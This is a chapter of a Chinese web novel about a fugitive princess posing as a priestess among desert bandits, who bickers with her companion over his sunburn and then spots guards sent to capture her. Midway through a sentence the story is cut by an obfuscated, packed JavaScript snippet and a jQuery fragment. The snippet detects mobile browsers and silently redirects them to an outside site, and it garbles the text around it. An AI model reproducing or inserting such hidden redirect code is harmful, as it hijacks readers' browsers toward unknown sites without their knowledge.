元楹楣几乎解出了谜底,她想验证此人是不是整个屁股都是红的,于是小心翼翼拿指头勾起一点裤边。
啪——
方挑起一点点,手腕就挨了一巴掌,被狠狠握住了。
白佑霖扑腾起来,死死攥住她的手腕,眸光凌厉,恶狠狠地朝她道,“你是不是想死?”
元楹楣被吓到了,回过神,想起了裤子下起伏和一片白,对验证结果的满意远大于恐惧,她眸中燃起兴奋的光,“竟然是晒伤?!”
白佑霖还能说什么呢,一股子气憋在胸口,不上不下,哽得心慌,嘴里嚼了半天,硬是不知该怎么骂她。
元楹楣沉浸在喜悦里无法自拔,看了眼自己的肤色,逃亡那么久,虽有晒黑的迹象,却从无这般严重的晒红,她很是惊讶,“是早上的油膏没帮你抹到此处,才晒伤的?”
白佑霖:“……你还好意思说!”
“你肌肤那么娇嫩?最多不过半日,竟能晒成这模样?”
“怪不得你要抹油膏,也怪不得你那么白!”
“你的瞳孔肤色也不像虞国人,你是东胡人?”
她睁着一双黑白分明的眼,眼里水光跃动,丝毫不在意他的愠怒。
本身就气,这下更是被她一连串的问题问得不知该回哪个了,顿时胡言乱语,“多大点事,瞧你兴奋得那样……我哪里不像虞国人了?土生土长的虞国人!”
“呸!是梁国,梁国人!”他纠正。
纠正也是强调。
元楹楣险些忘记,现在已经没有虞国了……
眼里光登时灭了,多年以来的习惯与认知成了需要被纠正的错误,突然觉得很没劲,她怔怔的,也不知望着哪处。
白佑霖能感受到她忽如其来的沉郁,心也忽如其来被针扎了下,明明上一刻,她眼里兴奋的光彩那么明亮。
虞国还是梁国……他不再敢说话,眼神飘忽一瞬,才发现自己仍握着她的手腕,纤细又无力,他若不放,她便没有挣脱的可能。而她并没有发觉,神思天外,似是被那梁国虞国之争打击得不轻。
鬼使神差的,他大拇指轻轻在她腕心摩挲了一下,就那么一下,那只柔弱无骨的手掌蓦地张开了,掌心一抹赤红摄住了白佑霖的目光。
同她的好奇一样,他不禁抬起她的手掌,仔细了瞧,还用拇指摩挲着那刺青。
元楹楣被这莫名其妙的一摸,痒意从掌心直蹿脑门心,她猛地缩回手,“你干嘛?”
白佑霖有些不可置信地望着她,“这也不似烈阳图腾啊?你真是使女?”
元楹楣看了看掌心,脸色顷刻就变了,嫌恶冷漠,“只刺了几笔而已,不完整。”
“还能这样?”白佑霖觉着好笑,使女这么大影响力,还能做个半吊子事儿,“为啥啊!”
难得的,元楹楣没跟他争,“……太痛了,不想刺……”
白佑霖心里就觉着,一定是戳到人家痛处了。她多能说一个人,歪理一大堆,这会又是心不在焉,又是承认自己窘迫,人已经蔫了。
于是他闭了嘴,“走吧,我安排你回去。”
元楹楣离开房间已是夜里,这里的日头实在短,太阳一落,寒意便袭来了,客栈里燃起来火堆,什图在同众人饮酒作乐,也不知哪里找来了几个舞姬,围着篝火跳起舞。
她端起使女的样子,装模作样走到什图身边,朝他合十一礼,“什图信徒,萍水相逢,今日恩怨已了,我预祝你此行一帆风顺。”
什图对元楹楣很是有礼,“多亏宝月珠使女宅心仁厚,宽恕了我们。只是宝月珠使女为何会到此地来?是否需要我等帮助?”
“我身负传教使命,偶然流落至此,什图信徒不必再追问。”
她越端着,什图越是不敢揣测,“那是自然。”
元楹楣想了想,又问道,“什图信徒,夏季入沙漠炎热不已,恐入险境。此行为神子运送物资,也与我的使命息息相关,敢问走哪条路线,我应当为你们指引方向。”
什图内心纠结一瞬,路线向来都是机密,也是财路,若是透露他会损失惨重,但对方是使女,又是骜丹的使女,能得到她的指引,有祈福的作用,或许也与骜丹的计划有关系,思来想去,他不愿明着得罪使女,若她去神殿一招呼,他们连驼铃坡都出不去。
“使女,此行选择了较短的路线,经鸣沙丘,千柱谷,望泉镇,至赤金城,最后送至莎支王城。”
什图说的地名,元楹楣早在地图上划了千万遍,熟记于心,毕竟当初太子哥哥带着大军冲进沙漠时,那一封封奏报里,就出现过这些地名。
最后一次消息传来,是在赤金城。
骜丹说,他与三万大军早于赤金城覆灭,尸骨无存。
元楹楣再听闻此地名时,心里惶然,太子真的死了吗?那三万大军全军覆没?没有太子她怎么复国?
这样的问题想了许多遍也没有结果,她迅速将这些疑问压制,对什图提出了些可靠的建议,“进入鸣沙丘每人至少携带八只牛皮水囊,干粮得带足够。千柱谷马匪猖獗,若非你的势力,不要行经此地,多带些干粮与水从月牙道直往望泉镇。进入望泉镇后,在镇子中心歇脚补给……”
什图刻意加了个千柱谷混淆实际路线,此刻听她竟知晓千柱谷马匪猖獗的内情,她提出的建议虽说平常,但条条都是保命的关键诀窍,若非走过数遍的向导,不会说出这些建议。
他对面前使女的态度立马变了,“多谢宝月珠使女的提醒。”
元楹楣维持着淡然笑意,“据说前虞太子消失于赤金城,近来可有听见什么消息?”
什图稍愣,“并没有消息,只是有传闻前虞太子带领军队陷落于流沙,整个军队消失得无影无踪。”
“神子猜测,他们多半寻得了庇护,什图信徒,此行需要谨慎。”她不过随口一问,并未得到有用的信息,但骜丹也没有骗她,说是安心也好,自我安慰也罢,她有些迷惘,不知该如何探寻。
最后她对什图嘱咐,“什图信徒,梁国山匪胡八我替你教化了,他有心归于玛姆神的庇护。神子也有心招揽梁国人杰,以后还会有针对梁军的劫持行动,还望什图信徒保留消息的渠道与人脉,为玛姆神而战,神子会让你们得到应有的荣光。”
“是。”什图应下。
她这一番话,提高了白铁牛在此队伍的重要性,白佑霖在屋里听了个半懂,待她跟什图演完了使女,离开客栈后,白佑霖才出了门去。
什图对他态度明显转好,拉着他看舞姬跳舞,还请他喝好酒,跟他称兄道弟,说以后跟着他把梁军所有的退路截断,他们以后就是达鲁的新贵族
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16689112|188868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了!
白佑霖感慨啊,使女真是很有用!
还想带着她进沙漠的,又不忍心让这么个小姑娘回不了家,莫名感到遗憾。
元楹楣先行离开了客栈,镇子不大,她先回到了白铁牛之前落脚的小院,锅碗瓢盆都是昨日的模样,炕上的脏衣裳还没动过,她按照约定,给自己装了一半金珠子,心满意足拍了拍后,在院中坐着等。
等他安排的人来。
院里马儿在甩尾巴,那毛色在月光下光泽似绸缎,她伸手摸了摸,无比丝滑,想必是常常刷洗才能保持这般好的毛色。
那宝马真真是温顺的,喜欢被人抚摸一般,在她伸手的时候,头轻轻摆过来贴她的掌心,显得无比亲昵。
她轻笑一声,那白铁牛看似不着调,实则蛮心细。
一直渴望的自由乍然得到,她难免迷茫,此番回到故土,该怎么样重建势力,太子若是真死在了荒漠,她一个公主,谁会信服她呢?
许多许多问题接连冒出,脑子好疼。
不想去想,不想去问,更不想面对她一无所有的事实。
索性给自己煮碗面吃!
经过前两次的实践,她自觉自己和面的本事已是炉火纯青,面团大小硬度一切都刚刚好,剩下的便是最关键的时间。
等待之时,她又想吃牛肉了,虽然麻烦,但人馋起来的时候,真的会分泌口水,肚子里酸溜溜的,好似不吃就会饿死!
集市一定关门了,她想碰碰运气,去往邻里敲了门,问问有没有多余的牛肉,问了两户都没问到。
犹豫之时,忽然瞧见街角三五个腰佩弯刀,身穿捷格袍子的男人说着闲话路过。
那同款的袍子,同款的弯刀,步伐几乎一致,她可见得太多了。
骜丹的近侍卫队!
她瞳孔骤缩,往拐角处一躲,心脏狂跳着,不知该如何平复。
良久,元楹楣压抑着恐惧,迫使自己冷静思考,近侍卫队公差也不一定是为了她,但她哪里敢赌啊!被捉回去就是前功尽弃!
她按捺住狂跳的心脏,小心翼翼跟了上去。驼铃坡的建筑似渔网般密集交错,一条小巷道就是一户人家的围墙,七拐八绕的,并不容易被发现。
她跟上去发现他们一行六个人,近侍卫队一个小队正正好是六个,她祈盼总人数只有六个,不要再多来一只小队了。
越跟越近,她偶然听到些零星的话,“……明日去神殿打探……”
“多半不会在此处……我们找了那么久……”
“……不打算让使女的身份失效……”
十有八九是来抓她的!
这一路跟来,竟是跟到了什图落脚客栈的旁边!两个客栈紧紧挨着,还能听见隔壁什图一众马匪大笑的声音!
要是近侍卫队的人随口一问,或是隔壁吹起了今日见过使女的牛,这不就彻底完蛋了嘛!
再者,近侍卫队明早去神殿一问,也必定暴露,倘若那时什图没有离开驼铃坡,她也完蛋。
就算离开了驼铃坡,近侍卫队也有权向神殿调集士兵追捕她,哪怕她骑了白铁牛的马,也不一定能跑掉!
元楹楣越想越怕,额头渗出点点细汗,呼吸抖得厉害,连带肋间的伤口抽抽的疼。
她必须截断消息,先下手为强!